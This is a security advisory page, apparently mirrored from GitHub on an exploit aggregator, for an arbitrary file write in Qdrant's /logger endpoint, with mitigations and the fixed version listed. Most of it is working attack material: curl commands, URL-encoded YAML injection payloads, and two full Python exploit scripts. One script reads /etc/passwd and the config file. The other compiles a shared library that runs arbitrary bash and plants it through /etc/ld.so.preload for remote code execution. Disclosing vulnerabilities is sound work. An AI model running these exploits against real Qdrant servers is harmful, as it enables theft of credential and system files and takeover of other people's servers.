Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-f632-vm87-2m2f

Опубликовано: 05 фев. 2026
Источник: github
Github: Прошло ревью
CVSS3: 8.5

Описание

qdrant has arbitrary file write via /logger endpoint

Summary

It is possible to append to arbitrary files via /logger endpoint. Minimal privileges are required (read-only access). Tested on Qdrant 1.15.5

Details

POST /logger (Source code link) endpoint accepts an attacker-controlled on_disk.log_file path.

There are no authorization checks (but authentication check is present).

This can be exploited in the following way: if configuration directory is writable and config/local.yaml does not exist, set log path to config/local.yaml and send a request with a log injection payload. ThePATCH /collections endpoint was used with an invalid collection name to inject valid yaml.

After running the PoC, the content of config/local.yaml will be:

2025-11-11T23:52:22.054804Z INFO actix_web::middleware::logger: 172.18.0.1 "POST /logger HTTP/1.1" 200 57 "-" "python-requests/2.32.5" 0.009422 2025-11-11T23:52:22.056962Z INFO storage::content_manager::toc::collection_meta_ops: Updating collection hui service: static_content_dir: .. 2025-11-11T23:52:22.057530Z INFO actix_web::middleware::logger: 172.18.0.1 "PATCH /collections/hui%0Aservice:%0A%20%20static_content_dir:%20..%0A HTTP/1.1" 404 113 "-" "python-requests/2.32.5" 0.001391

Some junk log lines are present, but they don't matter as this is still valid yaml.

After that, if qdrant is restarted (via legitimate means or by a OOM/crash), then local.yaml config will have higher priority and service.static_content_dir will be set to ... In a container environment, this allows one to read all files via the web UI path.

Also overriding config file may let the attacker raise its privileges with a custom master key (remember that lowest privileges are required to access the vulnerable endpoint).

Relevant requests:

  1. Enable on-disk logging to the config file:
curl -sS -X POST "http://localhost:6333/logger" \ -H "Content-Type: application/json" \ -d '{ "log_level":"INFO", "on_disk":{ "enabled":true, "format":"text", "log_level":"INFO", "buffer_size_bytes":1, "log_file":"config/local.yaml" } }'
  1. Inject YAML via a request that logs newlines (URL-encoded):
curl -sS -X PATCH "http://localhost:6333/collections/hui%0aservice:%0a%20%20static_content_dir:%20..%0a" \ -H "Content-Type: application/json" \ -d '{}'

Full reproduction instructions

  1. Start Qdrant with a writable configuration directory:
sudo docker run -p 6333:6333 --name qdrant-poc -d qdrant/qdrant:v1.15.5
  1. Run the exploit:
% python3 exploit.py --url http://localhost:6333 [+] Logger configured [+] Log injection successful [+] Logger disabled Restart Qdrant cluster and press Enter to continue...
  1. Restart the container:
sudo docker restart qdrant-poc
  1. Resume the exploit:
<press Enter> [+] Passwd file retrieved -------------------------------- ... -------------------------------- [+] Config file retrieved -------------------------------- ...

Mitigation

  1. Limit usage of /logger endpoint to users with management privileges only (or better disable it completely).
  2. Restrict the path of the log file to a dedicated logs directory.

This vulnerability does not affect Qdrant cloud as the configuration directory is not writable.

Exploit code

exploit_privesc.py

import requests import sys import argparse parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API") parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333") parser.add_argument("--api-key", required=False, help="API key") args = parser.parse_args() url = args.url headers = {} if args.api_key: headers["api-key"] = args.api_key s = requests.Session() s.headers.update(headers) res = s.post( f"{url}/logger", json={ "log_level": "INFO", "on_disk": { "enabled": True, "format": "text", "log_level": "INFO", "buffer_size_bytes": 1, "log_file": "config/local.yaml", }, }, ) res.raise_for_status() print("[+] Logger configured") res = s.patch( f"{url}/collections/%0aservice:%0a%20%20static_content_dir:%20..%0a", json={}, ) error = res.json()["status"]["error"] if "doesn't exist!" in error: print("[+] Log injection successful") else: print(f"[-] Error: {error}") sys.exit(1) res = s.post( f"{url}/logger", json={ "on_disk": { "enabled": False, }, }, ) res.raise_for_status() print("[+] Logger disabled") input("Restart Qdrant cluster and press Enter to continue...") res = s.get(f"{url}/dashboard/etc/passwd") res.raise_for_status() print("[+] Passwd file retrieved") print("--------------------------------") print(res.text) print("--------------------------------") res = s.get(f"{url}/dashboard/qdrant/config/config.yaml") res.raise_for_status() print("[+] Config file retrieved") print("--------------------------------") print(res.text) print("--------------------------------")

exploit_rce.py

import requests import argparse import tempfile import os TEST_COLLECTION_NAME = "COLTEST" parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API") parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333") parser.add_argument("--api-key", required=False, help="API key") parser.add_argument("--cmd", default="touch /tmp/touched_by_rce") parser.add_argument("--lib", default="") args = parser.parse_args() assert "'" not in args.cmd, "Command must not contain single quotes" so_code = """ #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void init() { unlink("/etc/ld.so.preload"); system("/bin/bash -c 'XXXXXXXX'"); } """.replace('XXXXXXXX', args.cmd) with tempfile.TemporaryDirectory() as tmpdir: with open(f"{tmpdir}/cmd_code.c", "w") as f: f.write(so_code) os.system(f'gcc -shared -fPIC -o {tmpdir}/cmd.so {tmpdir}/cmd_code.c') cmd_so = open(f'{tmpdir}/cmd.so', "rb").read() url = args.url headers = {} if args.api_key: headers["api-key"] = args.api_key s = requests.Session() s.headers.update(headers) res = s.post( f"{url}/logger", json={ "log_level": "INFO", "on_disk": { "enabled": True, "format": "text", "log_level": "INFO", "buffer_size_bytes": 1, "log_file": "/etc/ld.so.preload", }, }, ) res.raise_for_status() print("[+] Logger configured") res = s.get( f"{url}/:/qdrant/snapshots/{TEST_COLLECTION_NAME}/hui.so", ) print("[+] Log injected") res = s.post( f"{url}/logger", json={ "on_disk": { "enabled": False, }, }, ) res.raise_for_status() print("[+] Logger disabled") rsp = s.post(f"{args.url}/collections/{TEST_COLLECTION_NAME}/snapshots/upload", files={"snapshot": ("hui.so", cmd_so, "application/octet-stream")}) print(rsp.text) # trigger the stacktace endpoint which will run execute `/qdrant/qdrant --stacktrace` input("Press Enter to continue...") rsp = s.get(f"{args.url}/stacktrace") rsp.raise_for_status()

Impact

Remote code execution.

Пакеты

Наименование

qdrant

rust
Затронутые версииВерсия исправления

>= 1.9.3, < 1.15.6

1.15.6

8.5 High

CVSS3

Дефекты

CWE-73

8.5 High

CVSS3

Дефекты

CWE-73